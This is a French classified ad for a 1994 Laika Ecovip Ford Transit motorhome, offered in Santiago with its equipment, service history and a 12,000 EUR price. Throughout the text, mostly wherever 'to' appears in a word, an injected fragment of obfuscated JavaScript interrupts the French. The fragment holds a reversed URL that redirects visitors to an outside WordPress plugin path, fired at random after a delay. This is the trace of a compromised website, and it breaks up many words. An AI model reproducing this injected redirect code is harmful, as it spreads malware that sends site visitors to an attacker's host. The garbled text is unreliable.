Dans quelques mois, le voyage toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}touchera à sa fin et nous avons décidé de donner l’opportunité à une autre famille de voyager avec notre camping-car. Il sera disponible octoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tobre ou novembre à Santiago.
Il s’agit d’un camping-car Laika Ecovip 2 Ford Transit 2.5l TD de 1994, roues arrières jumelées propulsion. Il aura environ 250 000 km en Août. (Ces moteurs sont très résistants)
Ce camping-car a été préparé en 2017 pour un voyage au long cours aux Amériques.
Cellule :
7 couchages dont 4 fixes. 2 lits superposés (70×180) et 1 capucine 2 places (140×215) (literie changée en décembre 2019).
Un carré 6/8 places très agréable.
Equipements :
– Frigo trimix avec compartiment freezer, fonctionne même par 40 deg ou 5000m.
– Four à Gaz super utile pour faire son pain et varier son alimentation (tarte, gratin, gâteaux…).
– Chauffage Truma gaz hyper performant même à 4500m !!!
– Panneau 165 w solaire 2 batteries gel 80 amp.
– Convertisseur 600w 220v.
– Ballon eau chaude.
– Douche intérieure (possibilité de l’utiliser en douche extérieure très facilement, très agréable quand il fait chaud).
– Toilette sèche avec séparateur d’urine.( super pratique aucune odeur et on peut vider n’importe où ou presque nous procurant une grande autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tonomie). Beaucoup de voyageurs nous l’envient.
– Réservoir d’eau propre 150l.
– Réservoir eau grise 100l.
– Réservoir eau noire (urine pour nous) 60l.
– Stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tore Banne
– Alarme monoxyde carbone.
– 2 extincteurs
– Coffre chaussures
– Coffre de toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toit
– Soute loisir et soute outils séparées
– Radiateur électrique si vous vous branchez ..
– Générateur (groupe électrogène) 1500W (Super 95)
Nombreux aménagements et rangements.
Table et plan de travail en bois du Paraguay.
Meubles robustes et résistants, pas besoin de les resserrer toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tous les 5000km
Nous laissons toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tout l’équipement : Camping table, chaises, bouteille de gaz argentine et USA, vaisselles, cocotte minute (pratique au-delà de 3000m !!) et pleins d’autre choses qui ne rentreront pas dans nos bagages !
Son état est plus que correct vu son âge, mais il a cependant quelques blessures de guerre : Il a perdu les 2 lanterneaux de capucine remplacés par des plaques pvc et aluminium, certains rideaux ou moustiquaires demanderaient à être revus (ou pas ..rien de méchant).
Coté mécanique :
En 2017, avant son départ, le camping-car a été entièrement révisé :
– Système de freinage avant arrière y compris flexibles
– Boite de vitesse refaite
– Pont arrière et couple conique
– Embrayage et volant moteur
– Roulements
– Alternateur
– Démarreur
– 4 amortisseurs dont les 2 arrières cette année.
– Pompe direction
– Turbo
– Collecteurs d’échappement
– Pré filtre gasoil
– …et j’en oublie bref toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toute ces pièces auront moins de 100 000 km lors de la vente !
Entretien pendant le voyage:
– Changement de la courroie de distribution, pompe à eau et courroie accessoires à 236 000 Km (auront donc 20 000 KM lors de la vente)
– Vidange et changement des filtres sont réalisés toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tous les 7 000Km.
Pièces de secours :
Au cas où, nous avons préféré partir avec un quelques pièces de rechange :
– Roulement de roue avant et arrière
– Courroie accessoire
– Câble d’embrayage
– Rotule de direction
– Bagues étanchéité pompe injection
Ce véhicule n’a jamais subi d’avarie, il roule à 80/90 km/h ce qui est les limites autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torisées en Amérique et il n’a eu à ce jour aucune panne. Il a toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toujours été très bien entretenu, et on continue d’en prendre soin !!
Nous sommes fiers de voyager avec. Nous le vendons pour éviter un shipping tant onéreux que polluant et pour permettre à d’autres voyageurs de rendre leur rêve accessible.
Prix : 12 000 € photoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tos sur demande .
